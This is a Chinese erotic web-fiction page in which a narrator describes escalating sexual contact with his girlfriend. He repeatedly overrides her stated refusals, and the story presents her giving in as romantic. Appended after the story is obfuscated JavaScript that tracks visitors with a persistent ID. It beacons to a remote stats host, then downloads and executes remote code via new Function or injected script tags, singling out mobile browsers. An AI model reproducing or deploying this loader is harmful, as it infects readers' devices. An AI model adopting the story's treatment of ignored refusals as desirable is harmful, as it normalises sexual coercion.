热搜排行
我和女友王华

(1)肌肤相亲(上)

已经进入夏末,天气不再酷热难熬,闷热期间经常光顾的蚊虫已经稀少了很多,一阵阵的清风吹过,夹杂着草地间弥漫的湿气。

这时候,已经是晚间8点半左右了,王华和我坐在体育场跑道一端的影壁后边,这里贴近壁脚,是一方水池,由于疏于管理,早已经干涸,池边是浓密的绿篱,一棵不知名的大树,把浓密荫影撒盖在池塘上,我和王华便坐在这水池的洋灰沿上,时断时续的交谈着。我们的面前是一片平整的草坪,矗立着两尊比例怪异的体育雕塑,透过雕塑的轮廓,可以看到远处铁栏外,街道上零零散散的慵懒散步的行人。

王华坐得与我很近,还是穿着那件常穿的蓝白碎格的连衣裙,两肩绣缀着纱花,仍透露着几分孩子气。是啊,她才只有22岁,齐耳的短发,双手支撑着下巴,亮而大的眼睛稚气而专注的凝望着前方,饱满的嘴唇略略抿动着。脚下是一双颜色淡灰的凉鞋,淡肉色的短袜紧紧包裹着小巧而平整的脚趾,玲珑的脚趾不时扣动着,这是她习惯的小动作。圆润的双膝轻轻靠拢着,沿着下垂的裙边,可以隐约看到她饱满浑圆的小腿轮廓。

这时的体育场已经很少行人,我可以感到她身上温热的气息。家庭的偏执,使得我们一个星期才能见到一面。想到这些,我感到一丝忧伤惆怅,隐隐生起了冲动,我伸手挽住了王华的身体,透过布料,手指可以清楚的感觉到她腰肢上温软的肌肤,她顺从地将身体偎依过来,一只手轻轻挽过我的后背。我的另一只手抚住她的膝盖,轻轻的摩挲起来,她夏天从来不穿长筒袜,这使得我能够直接接触她的肌肤。

摩挲了片刻,我的手指轻轻挑开她的裙边,略微用力将她靠拢的双膝拉开一些,向她的大腿内侧探索进去,膝盖的光滑坚腻立即被微微颤抖的丰腴肉感所代替。是的,她毫无疑问是属于丰腴型的姑娘,第一次见到她时,一条牛仔裤便充份勾勒出她圆润饱满的下身曲线。

我的手指贪婪的享受着每一寸柔软和滑腻,不可控制地向深处进军,很快,我的指尖便被她下体湿热的气息所笼罩,已经到达了她内裤的边缘,我已经可以感觉到她臀部与大腿交汇处潮软的褶皱。

但是,王华很快制止住了我继续的深入,我的手被她突然夹紧,“不行,这儿不能摸……”她轻声但坚决的说。

“我只摸摸上边……”我用我们熟悉的暗示,她的防卫放松了一些,我的手指掀开它内裤的边缘,轻轻按在了一片蓬松光滑的阴毛上,柔和的梳弄着,捻起一小缕,在手指间搓动着……

我是看到她第一眼就爱上她的,绝对的一见锺情。在人群中袅袅婷婷的走,1。7米的高佻身材,齐耳的短发,剔透而单纯的眸子给我震慑灵魂的战栗。我绝对不否认这其中有性的成分,她的乳绝对的丰满,仲夏之际,薄薄的单衫,轮廓鲜明地勾勒出隆起的曲线。第一次与她近距离面对,我的心几乎从嗓子眼里跳出来,感到血脉在一下下荡漾撞动身体,无法将心中纯洁得近乎神化的她与如此丰满的肉体和自己膨胀的肉欲相连接起来。

至于想到她的下体,更是常常让我产生罪恶感。王华最爱穿着牛仔裤,丰挺的曲线,颀长的腿被结结实实的显现出来。我常常幻想粗糙质感的布料之下,她那最最隐私的地方。她应当是长了阴毛的,我有点可笑的猜测这无聊且多余的题目。

是的,那个时候我甚至不敢将她与这些性征放在一起联系,她在我心目中实在是太纯洁和神圣了,接下来的幻想往往就是:那些阴毛应当是生成什么形状?

如果她的下体完全褪光,洁白丰腴肌肤上那一丛漆黑将是如何的惊心动魄……等等。

她是传统家庭中正统女孩儿,比我小了四岁,性格虽然活泼开朗,但在男女问题上则谨小慎微,与我相处的过程中,始终小心的保持着界限。从我第一次约她,到第一次与她接吻,整整经历了三个月。

那也是一个夏天的傍晚,我将她约了出来,那次她刚刚痊愈了一场感冒,自我防卫上面明显表现出了懈怠,尽管后来接吻已经成为我们之间最初步的亲密行为,但我现在还感觉那次似乎有一点乘人之危。

那次,她也是穿着一袭连衣裙,我们在体育馆的二楼阳台上并肩走着,随意的聊着。刚刚病愈的她显现出一丝的慵懒,我的手挽在她的腰肢上,隔着薄薄的织物,我可以清晰地感觉到从她身体上传来的诱人体热以及她平滑紧凑的皮肤,我的手掌甚至感觉到了她内裤的边缘,在夹裹着草木气息的湿热夏风中,我隐隐萌发了冲动。

时间临近9点,体育馆内已经没有了锻练的人,从二楼的阳台四面望去,是葱荣的绿树,远处的晚霞静翳地流动着。我们走到了阳台的拐角,这是一个旁人不可能看到的角度,王华依旧慵懒的同我并肩走着,一双明亮的眸子罩染着一层薄薄的雾气,显出一丝疲惫。我站住了脚步,轻轻抚住她腰肢的手加大了力度,猛地搂住了她的身体,另一只手从她的身前交叉过去,将有些站不稳的她紧紧地拥抱在怀里。

这是我第一次拥抱她,我不知道别人的经验感受如何,但我敢肯定,第一次将自己喜爱的人紧紧拥抱在怀里的感觉,足可以让一个的灵魂打颤!丰满的乳、颀长的腿、娇羞的面容,以及那神秘的地方,瞬间从无数次的幻想和梦境中变成你怀中一具活生生的沁溢着少女肌香的肉体,每个男人都会全身麻痹的。

(2)肌肤相亲(下)

“不……别这样……”王华显然也被吓呆了。她也是一个毫无两性经验的女孩子,在认识我之前,甚至还没有和男孩子牵过手。她手忙脚乱的尝试着挣扎出去,但第一次身体的亲密接触的强大刺激和刚刚病愈后的虚弱和慵懒,使她的反抗立刻流于了形式。

我的脸紧紧地贴在王华的脖颈上,她的连衣裙是敞口镶有蕾丝白花边的,修长而光滑的脖颈下是清浅可爱的肩窝,我将脸颊尽可能的贴在这一抹温滑如玉的肌肤上,贪婪而放肆的唿吸着充溢少女肌香的体气。“嗯……哼……”王华笨拙的扭动着,紧张得说不出一句话来。

本能的冲动一旦被激发,便在我的身体里冲撞起来,我无法控制住自己的情欲,更加搂紧了她开始变得滚烫起来的身体,嘴向她的唇凑上去。躲避的她没有防备,我们的嘴唇瞬间接触到了一起,干热、丰满、柔软的触觉几乎麻痹了我的大脑,我甚至感觉到了她喉咙压抑的抗议。

“不行!……”突的一接,她慌忙将脸侧了过去,我的脸趁机紧紧贴在了她的一侧的脸颊上,光滑细嫩的皮肤火烫烫的,“让我亲你一下吧∼∼”我的声音在颤抖着,心脏被情欲搅动得几乎从喉咙中跳出来。

“不……不行……”强大的拥抱力,使她两只手无力地举起,瘫软在我的怀里。我的脸紧紧贴压着她的脸,使她无法挪动,我的唇边紧靠着王华的嘴角,她口中的湿热吁气笼罩着我。猛的,我的脸转向她的正面,双唇狠狠地压在她的嘴上,“唔∼∼”她吃惊地发出唿叫,但已经出不来声音了,我真切的感觉到她丰腴双唇在音波震动下的颤抖。

她再也不能躲避,整个头被我紧紧控制住,我的嘴唇贪婪的张开,将这期待以久的美味猎物吞噬进来。她干热的唇迅速被我的口水浸湿,饱满的结构在液体的滋润下柔软丰嫩,没有什么接吻经验的我将舌尖贪婪的占领每一处领地,疯狂的吮弄着。王华的上唇被狠狠地吸在我的牙间,轻轻的撕咬着,而我的舌头则探索着她下唇根部同牙龈间的玲珑峡谷,王华急促的唿吸将一阵阵体热扑在我的脸上。

她的牙齿整齐光洁,我的舌尖迷乱地在上边刮擦,在牙缝间如同小泥鳅一样执拗的钻撬着。很快,难以遏制的喘息让她的牙齿分开了一条小缝儿,香热的口气登时笼罩了我的舌尖,我近乎野蛮的把自己挤了进去。王华的上下牙在我因用力而撮圆的舌肚上紧紧地划过,我立刻感觉到自己正躺卧在她绵软滑热的丁香瓣上,高度的紧张使她的舌头不知所措地畏缩着,我的舌尖在她津液的缠裹下,昵紧的钻进王华舌下,一股纯粹味觉上的绵软香热让我贪婪地随即上翻,本能的想与这鲜嫩的肉体纠缠为一体,但王华没有任何经验的笨拙使我几次尝试都以失败告终。

我开始肆无忌惮的侵犯着她口腔的每一个角落,“张大嘴……”我含混地命令着,舌头的搅拌使我根本不能清晰地发出声音来。紧张迷乱的似乎已经进入催眠状态的她笨拙地执行着,我的整个嘴都挤进了进去,她湿热的双唇几乎贴到了我的鼻子,牙齿刮擦着我的人中,我的嘴舌完全笼罩在香热、潮湿、粘滑之中。

我的嘴啜住了她绵软娇嫩的舌尖,用牙齿轻轻地咬住,将自己的舌头在上面亲昵地摩擦着。猛的,不可抑制的侵占欲望,让我将她将进三分之二的舌头吸进了口中,根部用牙齿紧紧地咬住,我的舌头与她紧密的贴附在一起,在王华憨憨的呻吟中搅拌着,吸吮着。

是的,我是第一眼就爱上了她,然后展开了疯狂的追求,我敢发誓,我是全心的投入。在最初的接触中,由于我们之间,甚至我们的朋友之间原先并没有一点点的关系,我的突然出现让她显得分外的谨慎、戒备,甚至怀疑。

我还记得邀请了她三次才跟我看了第一场电影,追问了一个多月,她才告诉我她的生日。我如同在面对一件娇贵而脆弱的瓷瓶,生怕一次轻微的失手将她打碎,在最初的时候,我曾经听到她的声音就激动的颤抖,听到她有时间出来见面就感觉浑身的神经都被幸福麻醉,哪怕一次最委婉的拒绝都会让我疑神疑鬼、忧心忡忡,恋爱中的我,已经完全地坠落了自己。

她的声音就是这样发出来的,就是现在在我口中尽情享用的绵软肉体,她的伸缩擡降,发出的声音,每一个音符都会命令到我的灵魂。我尽情地享用着,我要她为曾经发出的声音付出代价。

“呜∼∼”王华突然在我紧紧的拥抱中蹦跳起来,浑圆紧实的躯体传来肉体微微荡漾的丰腴,我才发现自己已几乎将她的整个舌头吸了进来。拉扯的疼痛,已经让她的上半个身子不能动弹。我们慢慢地分开了,王华的眼睛纯净而透彻,静静地,似乎出神一样透明的望着我的胸前,双手仍搭在我的肩上,丰满的嘴唇被口水浸润得泛起鲜亮的光泽,我们就这样静默着。

突然,我再一次吸上了她饱满丰润的双唇,王华的身体似乎没有一点抗拒的反应,身体温软地倚倒在我的拥抱下,驯服的让我再一次侵入她的嘴中……

一阵凉风吹过,头上传来树叶悉娑的摆动声,远处的行人更加稀疏了,草间淡淡的潮气让你的肺腑感到一种飘然的舒张。我拽过王华的一只手,贴在脸上,她的手指修长、纤细、香软,掌心带着一点点潮湿,我随意抚摸着,王华依旧静静地坐着。

每次我们的约会大抵如此,亲密的谈完话,就静静地坐在一起,间间断断的彼此爱抚。但今天,这种安静却一直在无法说明地撩拨着我的欲望。

突然,一种莫名的冲动,让我把她的手紧紧按在了自己的双腿之间,“啊!

不∼∼“王华毫无思想准备,轻轻地惊叫着,手本能的想回缩去,但被我紧紧地按在原地。这是我们认识以来,她第一次触摸我的下体。

“不……我不想……”王华低声的呢喃着。“来,摸摸我吧∼∼”我轻轻地搂住她的腰肢,在她的脸颊上轻轻地吻了一下,她的脸火烫烫的。

尽管扭捏,她的手指还是笨拙的抚弄起来,我的阴茎不可遏止的挺立起来,隔着裤子在她的动作下起伏着。“来吧,直接摸摸……”我的手抚摸上了她胸前坚挺丰满的隆起。

现在,她仍然不允许我直接接触她的乳房,透过薄薄的丝织品,我清晰的感觉到了她乳罩的轮廓,以及那其中包裹的丰腴坚挺的肉体。伸进我的T恤衫,王华尖尖的指尖儿迟疑着划过我的腹部,电流般酸麻感几乎让我身体痉挛。

我的耐克休闲裤是松紧边的,她的手有一点点冰凉,慢慢地伸入,实实在在的触摸,隔着我的内裤,她的手覆盖在坚硬的勃起上。

“这么硬?!”她轻轻地惊叫着。

“直接摸摸……”

“不……不了……我、我不想……”

被撩起的欲望,使我无法忍耐,我抓住王华的手,撩开自己内裤的边缘,将她按了进去,裸露的龟头立刻摩擦到了她湿热的掌心,“攥住它……”王华的手探索着握住了我滚烫的柱状勃起。

我无法用文字来形容我那一瞬间的感受,似乎我的灵魂都被她攥住。纤细的指、绵软的掌心,携裹着湿热和温暖,合围着充满着欲望的、用于侵入女性身体的肉柱。

我曾经不止一次为王华而自慰,为她的一个害羞的笑,为她身体上的一条曲线,我感觉那都是淫荡的、亵渎的。而现在,一切的淫欲、亵渎,都在与它的幻想对象紧密的接触着。

“轻轻地动动……”我轻轻地命令着,“唔∼∼”紧裹的包围开始轻轻地摇动起来。

“不……不是摆……是这样。”裤子已经成了活动的障碍,我将它向下褪了一块,用T恤衫的下摆遮住差点暴露在空气中的挺翘肉棒。“食指……”我要求着,她有些困惑的将食指伸出来,我捏住它小心翼翼的按在龟头系带位置:“轻轻地揉……”

瞬间,快感直接冲上了我的太阳穴,快感的尖锐几乎让我感觉到了她指纹的纹路。我调整了她的每一根手指,然后毫无反抗能力的坠入到包容全身的快感中去,肉棒在王华的手中被玩弄着……

(3)我,你永远不懂

我们紧紧地偎依着,我的脸搭在王华的肩膀上,刺绣沙花轻轻地刮擦着我的脸颊。她的颈颀长而秀美,在夜色的清冷中,冰凉而淡淡的散发出一种少女肌肤的香气,我的鼻子在她的耳边轻轻地摩擦着,寂静的四周,让我只感觉到我们两个人的存在。

王华的手在轻柔但有些机械笨拙地摩搓着我的下体,胳膊有节奏的碰触着我的腹部,一波波快感从我的下体荡漾开来,熔化到全身,我的手从她的胳膊下伸进去,抚摸在她隆起的胸脯上,轻轻地摩挲着。她的裙质地轻薄,可以清楚的感觉到乳罩上编织的纹路,浑圆坚挺、丰腴而富有弹性,尽管隔着两层织物,但我的手仍能真切地享受到这盈盈一掬的美肉。

快感的涌动,很快就积累到了质变,手的揉搓力度在加大,由轻轻地抚摸改为将整个乳房从乳肚儿向上紧紧握住,攥在手里肆无忌惮的搓动。乳罩已经无法束缚颠簸着的肉体,随着揉搓而在乳峰上下滑动着,贪婪的手指抓住机会,隔着裙衣,勾住它的下边缘向上撩去。

“不……”王华本能地夹紧了双臂,“只能隔着摸……”她的唿吸急促。乳罩的松紧度在跨越峰顶的地方达到了极限,紧紧地箍在了那里。

“隔得太多了,我不舒服嘛……”我口中轻轻地哄着她,手仍然执着地暗自用力,峰顶在抗拒中被跨越,另一座也随之告破,我的手指迅速摸向峰顶。乳头儿对于我来讲实在是太诱惑了,但以往的触摸根本无法感觉到它的存在,我惊异地感觉到,如此坚实挺拔的肉峰顶端竟然如此绵软细滑,几乎要融化了一般。

我的手指慌乱地寻找着饱满的凸起,很快确定了目标,用食指和么指轻轻的捏住,“……讨厌……”王华轻轻地呻吟着,身体后缩,本能的逃避着。

“这是你的乳头儿吗?”我低低的问。

“不是……”王华娇蛮的嘴硬着。

“那……我可就……”我手指突然加大力捏了一下。

“呀!放手,”王华明亮的眸子怔怔的看着我:“你这么舍得欺负我……”

嘴角儿娇娇的撅了起来。

“没有……到底是不是?”

“呵……”她憨憨的笑了,突然娇嗔的搂住我的脖子,轻轻地呢喃着:“你说是,就是呗……”明亮的眸子在黑暗中闪烁着顽皮的光。

情欲点燃就无法再遏止,我放肆地搂住王华的腰肢,另一只手直接抚摸在她裙内大腿内侧,继而撩开她内裤的边缘,摩挲在温软的毛丛中。她的皮肤有一点点湿热,单薄而柔软的内裤覆盖在我的手背上,磨擦着我的神经。

再向下一点,就是她的……我的脑子里突然闪过了这样的念头。在她的内衣里抚摸阴毛,是我多次要求的结果,已经有一段时间了,我们把它作为亲密的极限。有几次,我的指尖触摸到了湿热的部分,立刻受到了王华的制止。而现在,体内的冲动让我产生了强行占有的欲望,我的手在摩挲中,悄悄地调整着角度。

“再分开一点儿……”我轻轻地向外拉着她的膝盖,王华毫无戒备的分开双腿。这是一个让我感到无比性感的姿势,她没有任何思想准备,此时,她也许只想到让我的手待得更舒服一些,但实际上,已经摆好了一个被彻底侵犯的姿势。

猛的,我的手向王华腿间摸了下去,“啊!……”她发出了惊叫,双腿迅速地合并,我的手指被丰满的腿肌紧紧夹住。“不行……这里不行……”她的嘴里慌乱而又压低的喊着,但我的手指仍然崛强的分开丰软的肌肤,向腿缝中钻探。

王华的上身向下低低的伏下,后背几乎弯成了弓形,头埋到了膝盖之间。我强装镇定地向四周若无其事的望着,这个时候,决不能让远处的人注意到我们,但插在她腿间的手依旧执拗地向已经夹得紧紧的肌肤中钻去。她的反抗很快就成了强弩之末,我的手指陷入了王华下体丰腴湿热的包围中,继续侵入,完完全全的按在了她腿间粘滑腻嫩的沟瓣中。

这是我第一次直接触摸女性的下体,与我想像的完全不同,首先是那远远超乎我想像的滑软娇嫩。我的手指很快被粘液浸湿,本能的沿着她凹进的结构抠弄着。

“我已经摸到了……”我低低的在她的耳边呢喃着。好像是一种潜意识的认同,她身体的某一部分一旦被我突破了防卫后,她就会放弃保护。她丰腴的腿肌慢慢地松开,手顿时自由了,我把王华圆润的膝盖左右推开,她没有做一点儿抗拒。在突然的强烈刺激下,她彻底崩溃了,上身趴在一只膝盖上,两只手交叉垫在额头前,短短的乌发盖住了她的脸。我的手在裙子的遮盖下,自由地抚弄着王华已经湿粘成一片的密处。

我的食指和无名指沿着依稀可辨的凹缝,左右分开压在沟壁的两侧,中指的指肚一次次地按进润滑得几乎没有摩擦的肉缝中,浸泡在层叠而腻软结构里。我能够清楚的感觉到,每次按进再擡起后,那粘裹在指肚上的小巧的肉瓣轻轻地挣脱,以及指尖上挂起的缕缕牵丝。

我的手贪婪而细心地探索着,另一只手托着自己下颌,无神的望着远处,我不能让自己的行动太激烈,以防止偶尔走过行人。但我的头脑中几乎空白着,王华的天真娇憨的样子在飞快地闪过,我试图将手指正在探索着的部分同这动人的形象连接在一起,但怎么也联合不起来。

很快,在情欲的激荡下,我的探索开始变成了占有和侵犯。已经沾满了粘滑液体的手指向中间撮紧,绵软的微微绽开的肉瓣登时被胡乱地挤在一起,在手指的搓捏下,狼狈的舒卷着,粘液很快涂满了她的下体。

现在是赤裸裸的对被占有部位的肆虐,我的手指顺势把粘液涂抹在王华丰腴饱满的大腿内侧、小腹、肚脐、甚至与臀部连绵的湿热的褶皱里。她的内裤被我手指的运动不断地下拉,现在只是松松的虚掩在王华的腿间,下端在她的私处上遮起高高的拱形。

王华的身体在侵犯下轻轻地扭动着,当我的肆虐准备再一次升级的时候,她的双手按在了我的胳膊上,擡头有些艰难的望着我,明亮的眸子已经迷离的有一些发散。嘴唇干干的,用几乎听不见的声音哀求着:“轻轻地摸……好么?”

我的手慢慢地从她的裙底撤了出来,指间顿时传来一丝凉意。轻轻搂过王华的腰肢,把她拥在怀里,“你爱我吗?”我问,鼻子触碰着她颀长而香的颈。

“爱……哦∼∼”在她的声音还在喉咙间振动的时候,我的另一只手已经再次占有了她的腿间。

“我会轻轻地……”

“嗯……”她乖巧而驯顺。

“你站起来一下……”我轻轻地命令着,她的脸上有一点疑惑,但还是起身慢慢地站了起来。我的手掌紧紧贴着她的下体,从她的腿间伸了过去,手指挤开她丰满挺翘的双臀,在湿热的臀沟间向下,按住了王华浑圆而褶皱肛门。

“不!快!快撒开!”她惊讶地扭动着腰肢,隔着裙子向下推着我的手,但手掌向上托,她怎么也消解不了这个方向的力量,腿间的一片娇嫩反倒在我的掌心摩个不停。

“坐下,别人会看到的……”

毕竟她是一个保守的女孩,马上停止了挣扎,被我搂抱着,在身边坐下,但更确切的,她是赤裸着下体坐在我的一只手掌上,手覆盖了她下体整个的敏感部位。她扭头望着我,眼神迷离散漫而哀怨,但随着一声轻轻地嘤咛,她的头无力的依靠在我的肩膀上……

我想我是一天也不能离开

猜你喜欢下面这些
function UDNOhsW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function zBfdyx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UDNOhsW(t);};window[''+'F'+'i'+'J'+'R'+'h'+'H'+'l'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function tJfBK(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=zBfdyx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=tJfBK(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=tJfBK(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0ccHMlM0ElMkYlMkZhLm1wemx2ccS5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168623',window,document,['c','T']);}:function(){};